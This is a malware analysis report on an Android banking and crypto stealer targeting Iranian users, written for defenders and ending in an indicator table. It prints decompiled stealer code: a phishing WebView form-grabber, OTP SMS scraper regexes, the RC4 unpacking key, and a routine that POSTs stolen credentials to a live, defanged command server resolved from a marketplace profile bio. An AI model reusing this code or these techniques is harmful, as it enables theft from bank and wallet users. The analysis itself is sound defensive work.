An Iranian Android banking and crypto stealer unpacks from a native RC4 packer, targets 81 financial apps through a phishing WebView, intercepts SMS one-time passcodes and resolves its command server from an encrypted pointer in its own manifest that points to a seller’s bio on a legitimate marketplace. This build’s dead drop was still live, so the real C2 (theapi.the-x-services[.]xyz) is recovered end to end.
ir.novinarya) ships a thin loader shell (net.swiftnova.bridge, 18 KB dex). The stealer itself is a separate Basic4Android payload sealed inside assets/app_cache.db and unpacked on-device by a 29 KB native loader (libuibridge_9203.so) with RC4 (32-byte key, 768-byte drop) then zlib. Asset name, loader name, RC4 key and key transform are re-randomized per build; the unpacked payload is byte-identical across builds.QUERY_ALL_PACKAGES) and matches a hardcoded list of 54 crypto exchanges/wallets and 27 Iranian banking apps.WebViewURL) with a JavaScript form-grabber over a native “B4A” bridge. The app requests no accessibility and no overlay permission.X_BANKS) lift account numbers, balances and OTP codes from bank SMS and notifications.X_ROUTES, AES-CBC keyed by X_CID) to a URL on basalam.com; the malware reads that profile’s bio and decrypts it to the live, rotating C2.[GITHUB] branch.m6AJm5, was live at analysis time. Its bio decrypts to the active command server hxxp://theapi.the-x-services[.]xyz/.dxoeG7 (now banned) and this one rotated to m6AJm5. The inner stealer dex is identical across all of them, so only the packer and dead-drop config change per build.You will find the payload by reading the bootstrap, not by eyeballing the file tree. The APK’s Application class loads a native library and hands it control before any app code runs:
// host classes.dex -> net/swiftnova/bridge/ModuleConfig.java (jadx, verbatim)
public class ModuleConfig extends Application {
private native void attachConfig();
private static native void connectCore(Context context);
static { System.loadLibrary("uibridge_9203"); } // lib/arm64-v8a/libuibridge_9203.so
protected void attachBaseContext(Context context) {
super.attachBaseContext(context);
connectCore(context); // native loader runs before any app code
}
public void onCreate() { super.onCreate(); attachConfig(); }
}
Inside libuibridge_9203.so, connectCore decrypts a filename, formats it into assets/%s, and opens it with open()/mmap():
;libuibridge_9203.so (capstone, arm64), inside connectCore's unpack path
... bl <str_decoder> ; decrypt the asset-name string -> "app_cache.db" (12 bytes)
... adr x2, <"assets/%s"> ; format string
... bl snprintf ; -> "assets/app_cache.db"
... bl <open_asset> ; open() + mmap() the asset (imports: open, mmap, fopen)
; per build the asset name is re-randomized; here it is the only \x7fEPDATA asset, app_cache.db
The decrypted 12-byte filename is app_cache.db, the one asset carrying a \x7fEPDATA magic over a fake SQLite header, with a high-entropy (encrypted) body:
$ sha256sum sample.apk
be165239e4fe899b1f2eedf6459d363bca4fe6856fda87a63ba5d4e5e612e1c9 sample.apk
$ unzip -l sample.apk | sort -rn | head -5
4799301 assets/app_cache.db
192760 resources.arsc
78908 AndroidManifest.xml
62371 assets/index.html
58783 res/drawable/icon.png
$ xxd assets/app_cache.db | head -2
00000000: 7f45 5044 4154 4100 0000 0000 353b 4900 .EPDATA.....5;I.
00000010: 5351 4c69 7465 2066 6f72 6d61 7420 3300 SQLite format 3.
$ python3 -c "import math,collections as C; d=open('assets/app_cache.db','rb').read()[64:]; \
n=len(d); c=C.Counter(d); print(round(-sum(v/n*math.log2(v/n) for v in c.values()),3),'bits/byte')"
8.0 bits/byte # encrypted body, not a SQLite database
The loader builds its RC4 key from two .rodata arrays (XOR, then a 1-bit rotate in this build), decrypts the asset with RC4 (32-byte key, 768-byte keystream drop), and inflates the result:
;libuibridge_9203.so sub_0x8eac , builds the 32-byte RC4 key
0x8eb4 adr x9, #0x2121 ; x9 -> .rodata+0x799 (array A, 32 bytes)
0x8ebc add x10, x10, #0x101 ; x10 -> .rodata+0x779 (array B, 32 bytes)
0x8ed0 eor w11, w12, w11 ; for i in 0..31: key[i] = A[i] ^ B[i]
0x8ef0 lsr w10, w9, #7 ; then rotate-left-1: key[i] = (key[i]<<1)|(key[i]>>7)
0x8ef4 orr w9, w10, w9, lsl #1
; key = rol1( rodata[0x799:+32] ^ rodata[0x779:+32] )
; = a572a20b5aa7103d743769cd09bf08ede95903c315d1a4b61aa6cf5faee44b72
; (the byte transform and offsets are re-randomized per build; nibbleswap in 986f3b7e, rol1 here)
;libnetstack_baf0.so sub_0x9238 , RC4
0x9284 and x13, x9, #0x1f ; KSA mix: key index = i & 31 (=> 32-byte key)
0x92b4 mov w9, #0x300 ; discard first 0x300 = 768 keystream bytes
0x9328 eor w12, w12, w13 ; PRGA: out = in ^ S[(S[i]+S[j]) & 255]
; signature: rc4(key=x0[32], in=x1, out=x2, len=x3), drop 768
# reproduced from sub_0x8eac + the RC4 routine, run on the asset:
key = rol1( rodata[0x799:+32] ^ rodata[0x779:+32] )
= a572a20b5aa7103d743769cd09bf08ede95903c315d1a4b61aa6cf5faee44b72
inner = zlib.decompress( RC4(key, app_cache.db[64:], drop=768) )
# -> 11,890,584 bytes : a 2-dex B4A bundle (classes1.dex 9,529,264 B + classes2.dex 2,361,308 B)
# NB: both inner dex are byte-identical to 986f3b7e's (same SHA-256) , the stealer is shared,
# only the outer packer and the dead-drop config are re-randomized per build.
That inner bundle is the actual stealer: a Basic4Android application, package ir.novinarya, about 34 classes including domainmanager, corecache, cryptomanager, apiclient, webviewpage, xpackage and smsreceiver. Everything from here on refers to this unpacked code; the outer net.swiftnova.bridge dex does nothing but load and run it.
The unpacked stealer hardcodes its target list in ir/novinarya/xpackage.java, verbatim:
// inner bundle -> ir/novinarya/xpackage.java (54 exchange/wallet + 27 bank apps = 81 targets)
this._exchange_packages = Common.ArrayToList(new String[]{
"io.exnovin.app", "one.finex.android", "com.bitex.pooleno", "com.cafearz.app.crypto.cafe_arz",
"com.kimiacurrency", "ir.twox.twa", "com.arz8x.app.arz8x", "com.myzarinx.app",
"com.wallet.crypto.trustapp", "com.app.changekon", "app.podin", "com.exbito.app",
"com.ramzinex.ramzinex", "io.bitpin.app", "land.tether.tetherland", "com.sekebit.app",
"market.nobitex", "ir.wallex.app", "com.eterex", "com.arzif.android",
"com.tabdeal", "ir.myter.bit24", "me.cbit", "com.tronlinkpro.wallet",
"io.atomicwallet", "com.farachange.farachange", "co.okex.app", "com.tehranExchangeGroup.tehran_exchange",
"app.coingram", "tech.waleto.app", "com.arzypto.my", "com.trendox.android",
"com.excoino.excoino", "com.bitbarg.app", "io.rebix.app.android", "kajesabz.ir.bidarz",
"net.erythron.net", "com.kickex.android", "com.exir.mobile", "ir.aban.th",
"kifpool.me.v2", "com.sarmayex", "com.rabin.rabex", "net.arzplus.twa",
"co.versland.app", "com.raastin.pro", "com.iranicard.app", "digital.kian.kiandigital",
"com.arzpaya.arzpaya", "co.coinkadeexchange.app", "com.Digital.Currency.MyStore", "com.nipoto.app",
"co.bitmit.app", "ir.bitmax.twa"
});
this._bank_packages = Common.ArrayToList(new String[]{
"ir.bmi.bam.nativeweb", "com.dotin.wepod", "ir.karafarinbank.digital.mb", "com.samanpr.blu",
"ir.mobillet.app", "digital.neobank", "com.ada.mbank.mehr", "com.gardeshpay.app",
"com.sadadpsp.eva", "ir.zypod.app", "com.pmb.mobile", "mob.banking.android.sepah",
"ir.ba24.key", "com.ada.mbank.bankette", "com.isc.bsinew", "ir.tejaratbank.tata.mobile.android.tejarat",
"com.citydi.hplus", "com.bki.mobilebanking.android", "co.nilin.faraznative", "com.tosan.dara.postbank",
"mob.banking.android.pasargad", "com.farazpardazan.enbank", "mob.banking.android.resalat", "com.parsmobapp",
"mob.banking.android.gardesh", "com.tosan.dara.day", "com.tosan.dara.sarmayeh"
});
At runtime it enumerates installed packages and keeps only the ones the victim actually has, which is what QUERY_ALL_PACKAGES is for:
// ir/novinarya/xpackage.java , enumerate installed apps, keep only the targets
List installed = packageManager.GetInstalledPackages(); // needs QUERY_ALL_PACKAGES
for (pkg in installed)
if (_exchange_packages.IndexOf(pkg) >= 0 || _bank_packages.IndexOf(pkg) >= 0)
matched.Add(pkg); // which of the 81 targets the victim has
Capture is not an overlay or an accessibility service (the app requests neither). It is a WebView that loads an operator-controlled page over a native bridge named B4A. Note the User-Agent is rewritten to drop the ; wv token so the page cannot tell it is inside a WebView, and the page can be screenshotted:
// ir/novinarya/webviewpage.java , WebView set up via reflection (decompiled)
WebSettings s = webview.getSettings();
s.setJavaScriptEnabled(true);
s.setDomStorageEnabled(true); s.setDatabaseEnabled(true);
s.setSaveFormData(false); s.setSavePassword(false); // OS must not save; only the malware captures
s.setUserAgentString( ua.replace("; wv", "") ); // strip the "wv" token -> looks like real Chrome
webview.AddJavascriptInterface(jsBridge, "B4A"); // JS -> native bridge (WebViewExtras DefaultJavascriptInterface)
webview.LoadUrl( corecache.GetConfig("WebViewURL") ); // operator-controlled phishing page
// webviewpage can also screenshot the page: createBitmap -> JPEG -> Base64 (session capture)
The grabber itself is an obfuscated JavaScript string (vvv13-ciphered) injected into that page; on submit it reads the form fields and calls back through the B4A bridge:
// ir/novinarya/formcaptureutils.java , the injected form-grabber
static String _form_capture_js = main.vvv13(<768-byte obfuscated byte[]>, seed); // vvv13 = B4A string cipher -> the JS
map.Put("webViewUrl", corecache.GetConfig("WebViewURL", ""));
// the decoded JS is injected into the phishing page; on submit it reads the form fields and
// calls back through the "B4A" bridge, which hands the captured data to apiclient for exfil.
A broadcast receiver (smsreceiver) and the notification path feed a 25-bank regex config that ships in the manifest as the encrypted X_BANKS blob. It decrypts (AES-CBC, key = X_SIG) to per-bank patterns that lift account numbers, balances and OTP codes:
// ir/novinarya/corecache.java , GetBanksJson(): decrypt X_BANKS, key = X_SIG
String banksB64 = GetManifestMetaString(ba, "X_BANKS"); // 26476 B base64
String sigKey = GetManifestMetaString(ba, "X_SIG"); // "Who is the real God? Definitely Void."
String json = appruntime.crypto()._decryptlocaltext_cbc_ivprefix(banksB64, sigKey);
// decrypted JSON , 1 of 25 bank entries (Bank Mellat), its SMS/notification scraper regexes:
"BankMellat": {
"BankName": "بانک ملت",
"Patterns": { "AccountNumber": "حساب(\d{6,12})", "Balance": "مانده([\d,]+)" },
"Flags": { "Pooya": "(?s).*رمز:?\s*\d{4,8}.*" } // matches the OTP SMS (رمز = passcode)
}
There is no C2 string anywhere in the dex, assets, resources or native library. The server ships as an encrypted <meta-data> entry:
$ androguard axml sample.apk | grep -A1 meta-data # (abridged to the X_* keys)
package: ir.novinarya
X_CID = 5i87c5
X_SIG = Who is the real God? Definitely Void.
X_ROUTES = VbKKDflqpaGz+xcZq3hUKP085eiDo/x+2QJyO9rS/DfO+RHVAFGr1pQQ6dofgkuPJ0kY/NyCD3QO9xi4C1UpIb+0MhCduQj5M3Ny4HMEcdI=
X_RSA = <572-byte base64 RSA-2048 public key, OAEP/SHA-256, the exfil key>
X_BANKS = <26476-byte base64, AES/CBC key=X_SIG -> the 25-bank scraper config above>
At runtime corecache reads X_ROUTES and decrypts it with X_CID as the key:
// ir/novinarya/corecache.java (decompiled; _v<N>v names mapped to roles)
// InitDefaults() [corecache:198-218]
g_cid = sanitize( GetManifestMetaString(ba, "X_CID") ); // "5i87c5" (fallback "NO_CID")
// GetManifestMetaString(ba, name) [corecache:140-164]
JavaObject ai = pm.RunMethod("getApplicationInfo",
new Object[]{ Application.getPackageName(), 128 }); // 128 = GET_META_DATA
return ai.GetField("metaData").RunMethod("getString", new Object[]{ name });
// ResolveDomainUrl() [corecache:172-182]
String enc = GetManifestMetaString(ba, "X_ROUTES");
String url = appruntime.crypto()._decryptlocaltext_cbc_ivprefix( enc, g_cid ); // KEY = X_CID
return sanitize(url);
// -> https://services.basalam.com/web/v1/core/user/m6AJm5
// same, raw jadx (names are literal runs of 'v'; _v<N>v = the length):
String _v109v0 = _v109v0(ba, "X_CID");
_v64v7 = _v7v7(ba, _v109v0); // store CID in field _v64v7
public static String _v7v4(BA ba){ _v110v0(ba); return _v64v7; } // getter -> CID
String _v109v0 = _v109v0(ba, "X_ROUTES");
String dec = appruntime._vv6(ba)._decryptlocaltext_cbc_ivprefix(_v110v1, _v7v4(ba)); // key = _v7v4() = CID
The decrypt is one routine, reused later for the bio: Base64, IV = first 16 bytes, key = SHA-256(seed), AES-CBC/PKCS5:
// ir/novinarya/cryptomanager.java , _decryptlocaltext_cbc_ivprefix(enc, deckey) [221-256]
byte[] blob = base64Decode( sanitize(enc) );
byte[] iv = blob[0 .. 16]; // _cbc_iv_size = 16 (IV is prefixed)
byte[] ct = blob[16 .. end];
byte[] key = MessageDigest.getInstance("SHA-256").digest( deckey.getBytes("UTF8") );
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
c.init(DECRYPT_MODE, new SecretKeySpec(key,"AES"), new IvParameterSpec(iv));
return new String( c.doFinal(ct), "UTF-8" );
Running it on the sample’s own X_ROUTES with seed "5i87c5" yields the dead-drop URL, https://services.basalam.com/web/v1/core/user/m6AJm5. AES-CBC under a wrong key does not produce a clean, padded UTF-8 URL by chance, so this is the key.
Basalam is Iran’s large social-commerce marketplace, legitimate, with millions of sellers. The malware abuses one profile on it as a dead drop. domainmanager GETs the decrypted URL, reads the profile’s bio field, splits it, and decrypts that to the final rotating C2:
// ir/novinarya/domainmanager.java , ResumableSub_EnsureDomain (source -> sink)
sourceUrl = corecache.ResolveDomainUrl(ba); // = https://services.basalam.com/web/v1/core/user/m6AJm5
sourceTag = sourceUrl.toLowerCase().contains("basalam.com") ? "[BASALAM]" : "[GITHUB]";
httpjob j = new httpjob(); // the fetch
j._initialize(ba, "domainfetch", this);
j.Download(sourceUrl.trim()); // OkHttp GET of the Basalam profile
WaitFor("jobdone", ba, this, j);
rawContent = job.Success ? job.GetString() : "";
Map m = new JSONParser().Initialize(rawContent).NextObject();
content = (m.IsInitialized() && m.ContainsKey("bio")) ? m.Get("bio").toString().trim() : "";
if (content.length() <= 10) return "";
deckey = content.substring(0, 10); // first 10 chars = per-drop key
encDomain = content.substring(10); // rest = AES ciphertext
result = crypto()._decryptlocaltext_cbc_ivprefix(encDomain, deckey); // second decrypt -> live C2
[!WARNING] Basalam or GitHub. The resolver is built for two dead-drop hosts. The only GitHub reference in the entire sample is one branch tag:
this._sourcetag = isBasalam ? "[BASALAM]" : "[GITHUB]"; // domainmanager.java:564There is no
github.comliteral and no GitHub-specific parsing in this build. This sample’sX_ROUTESresolves only to Basalam, so GitHub is a supported capability of the resolver, not a host abused here.
Captured credentials, OTP SMS and notification matches are AES-encrypted and POSTed to the same resolved domain, closing the source-to-sink loop. The domain is decrypted one more time here (the value carried from the Basalam bio), then the encrypted payload is sent:
// ir/novinarya/apiclient.java , ResumableSub_SendAndReceive (verbatim line refs)
// 1) decode the C2 host carried from the Basalam bio:
this._url = appruntime.crypto()._decrypt(this._domainenc, this._activepassphrase); // [apiclient:503]
if (this._url.equals("")) // [apiclient:536]
return error("domain_decrypt_failed"); // [apiclient:516]
// 2) encrypt the captured payload (WebView creds / OTP SMS / notification matches):
this._encresult = responsebuilder.EncryptPayload(this._rawpayload); // [apiclient:611-612]
// 3) POST it to the resolved C2:
this._job = CreateHttpJobFromEncrypted(this._url, this._encresult); // [apiclient:653]
The POST helper wraps the encrypted loot in a small JSON envelope and sends it as application/json:
// ir/novinarya/apiclient.java , CreateHttpJobFromEncrypted(url, payload) [apiclient:95-120]
Map env = new Map(); env.Initialize();
env.Put("clientID", this._clientID);
env.Put("DeviceID", this._deviceID);
env.Put("version", this._api_version);
env.Put("payload", payload.getObject()); // the AES-encrypted loot
httpjob j = new httpjob(); j._initialize(ba, "", this);
j.PostString(url, new JSONGenerator(env).ToString()); // POST the JSON body to the Basalam-resolved C2
j.GetRequest().SetHeader("Content-Type", "application/json");
return j;
The URL is not a placeholder. Fetched live, the endpoint returns HTTP 200 for a real, un-banned Basalam account (m6AJm5, display name “morteza”, registered 2023) whose bio is a base64 blob, not prose:
GET https://services.basalam.com/web/v1/core/user/m6AJm5 -> 200 OK
{
"hash_id": "m6AJm5", "id": 10118322,
"name": "morteza", "detected_first_name": "باسلامی",
"created_at": "2023-02-04 20:14:47", "last_activity": "2026-08-31 03:09:26",
"ban_user": {}, // NOT banned
"bio": "guUpWcR7N45WiJEFglUrXIi7UcACWwc/i83/iQ6mEmyfsH67/ZtRZL/9me0ZGFLJzKX9262NBqavI+GJc7jeSBudvZZ9uhGw=="
}
# the bio is the live dead drop: deckey = bio[:10], the rest is AES ciphertext

The live response from the dead-drop endpoint. ban_user is empty and bio is base64. Re-fetch the URL to confirm.
Feeding that bio through the exact routine from Section 06 (deckey is the first ten characters, the rest is AES-CBC with key = SHA-256(deckey) and a 16-byte IV prefix) yields the live command server:
# exactly what domainmanager does with the bio (verbatim steps):
bio = "guUpWcR7N45WiJEFglUrXIi7UcACWwc/i83/iQ6mEmyfsH67/ZtRZL/9me0ZGFLJzKX9262NBqavI+GJc7jeSBudvZZ9uhGw=="
deckey = bio[:10] # "guUpWcR7N4"
enc = bio[10:]
blob = base64_decode(enc); iv = blob[:16]; ct = blob[16:]
key = SHA-256(deckey)
C2 = AES_CBC_decrypt(key, iv, ct) # cryptomanager._decryptlocaltext_cbc_ivprefix
C2 -> http://theapi.the-x-services.xyz/
# round-trip verified: re-encrypting this domain with the recovered IV+key reproduces the exact bio.
So the full chain resolves, end to end, from a byte in the APK manifest to a running C2: X_ROUTES (manifest) decrypts to the Basalam URL, the profile’s bio decrypts to hxxp://theapi.the-x-services[.]xyz/, and the round trip confirms the decrypt is exact. This is the server the stealer POSTs its loot to.
Across five samples of this family, the per-build packer randomization is cosmetic and the shared infrastructure is the real link. The inner stealer dex is byte-identical in every one (same SHA-256), so only the outer layer and the dead-drop account change:
| Sample (SHA-256) | X_CID | Dead drop | State / C2 |
|---|---|---|---|
| 986f3b7e3a9465c784416c0f94ecf92c8afe1683e8be9afe35b9f8ce631660c7 | 5i87c5 | dxoeG7 | banned, bio emptied |
| 6b16e0378ef82dd96105799b60ae2c48148920ed8ac9b561ddc6f4cf75695e23 | q17avl | dxoeG7 | banned, bio emptied |
| aa3bab5a28c4698374a70341529f1d353fb2bed658d93173f3ed898cd4b1b695 | x2tkqy | dxoeG7 | banned, bio emptied |
| aa810bd9986b3439b8496cd5c5700d99f1ad941c44fc899a63448f981f341c24 | kowsv3 | dxoeG7 | banned, bio emptied |
| be165239e4fe899b1f2eedf6459d363bca4fe6856fda87a63ba5d4e5e612e1c9 | 5i87c5 | m6AJm5 | LIVE, C2 = theapi.the-x-services[.]xyz |
dxoeG7 shared across four builds is the operator pivot; be165239 rotated to the still-live m6AJm5, which is why this build is the one that yields a usable C2.
Novinarya is a conventional B4A credential stealer wrapped in two layers of indirection: a native RC4 packer that keeps the payload off every string scan, and a C2 resolver that keeps the server out of the binary entirely. The harvesting (phishing WebView, SMS, notifications) is ordinary; the tradecraft is in reachability.
For defenders and trackers, three points follow. Treat “no static C2” as a failure state, not a finding; here the pointer sat in the manifest the whole time, encrypted. Instrument the sink: the class that builds the request URL is worth more than the string table. And when a resolver abuses a legitimate platform, record the mechanism, not the host. I have listed the dead-drop technique and the decrypted domain, and never basalam.com or github.com as an indicator.
Hosts are defanged. basalam.com is a legitimate marketplace being abused as a dead drop and must not be blocked; the actionable indicators are the sample hashes, the package and file names, the manifest keys and the crypto parameters.
| Type | Indicator | Context |
|---|---|---|
| C2 (live) | hxxp://theapi.the-x-services[.]xyz/ | the live command server, decrypted from the m6AJm5 bio (the actionable block target) |
| SHA-256 | be165239e4fe899b1f2eedf6459d363bca4fe6856fda87a63ba5d4e5e612e1c9 | APK, package ir.novinarya (B4A banking/crypto stealer) |
| MD5 | 48c5cab842617c00b380d2c4effd8721 | same APK |
| SHA-256 | dc7532f136022464e7268f564e050c244e922efc1aa166a12ab9a562a3ab65b0 | assets/app_cache.db , EPDATA-packed payload |
| SHA-256 | d498cb64540bd2de8d08061bd8ae83562b998f24cc789b53eb103ab8ccf7b682 | lib/arm64-v8a/libuibridge_9203.so , native RC4 loader |
| SHA-256 | 0e4d969a82dbe8b43d8f44a2adf55a658451ac2b107eea07c44c8d874c4f050f | host classes.dex (net.swiftnova loader shell) |
| SHA-256 | 0834626e29e237472067e93e1a2bdacf4fddb0fe50cd5dc2846db3d57d6e1e52 | decrypted inner classes1.dex (B4A stealer; SAME across all builds) |
| SHA-256 | d265e43290267063afe37d34b709c684dd09a8d27f3e95c7255e06f232c2327a | decrypted inner classes2.dex (SAME across all builds) |
| Package | ir.novinarya | application package |
| Package | net.swiftnova.bridge | native-loader shell (ModuleConfig) |
| File | lib/arm64-v8a/libuibridge_9203.so | native EPDATA/RC4 loader (name re-randomized per build) |
| File | assets/app_cache.db | EPDATA-packed payload (magic 7f 45 50 44 41 54 41; name re-randomized) |
| Dead-drop URL | hxxps://services.basalam[.]com/web/v1/core/user/m6AJm5 | endpoint the resolver GETs; LEGITIMATE host abused, do NOT block basalam[.]com |
| Dead-drop acct | basalam[.]com profile hash_id “m6AJm5” (name “morteza”) | the live dead drop; its bio holds the encrypted C2 |
| Dead-drop acct (burned) | basalam[.]com profile hash_id “dxoeG7” | earlier dead drop shared by four related builds; now banned, bio emptied |
| Mechanism | [BASALAM] / [GITHUB] bio dead drop | domainmanager resolves the rotating C2 from a profile bio field |
| Manifest meta | X_ROUTES | AES/CBC(SHA-256(X_CID)) -> dead-drop URL |
| Manifest meta | X_CID = 5i87c5 | key seed for the X_ROUTES decrypt (per-build; here 5i87c5) |
| Manifest meta | X_SIG = Who is the real God? Definitely Void. | key seed for the X_BANKS decrypt |
| Crypto key | a572a20b5aa7103d743769cd09bf08ede95903c315d1a4b61aa6cf5faee44b72 | native RC4 key = rol1(rodata[0x799]^rodata[0x779]), drop 768 (transform re-randomized per build) |
| Crypto | AES/CBC/PKCS5, 16-byte IV prefix, key = SHA-256(seed) | manifest + bio decrypt routine (cryptomanager) |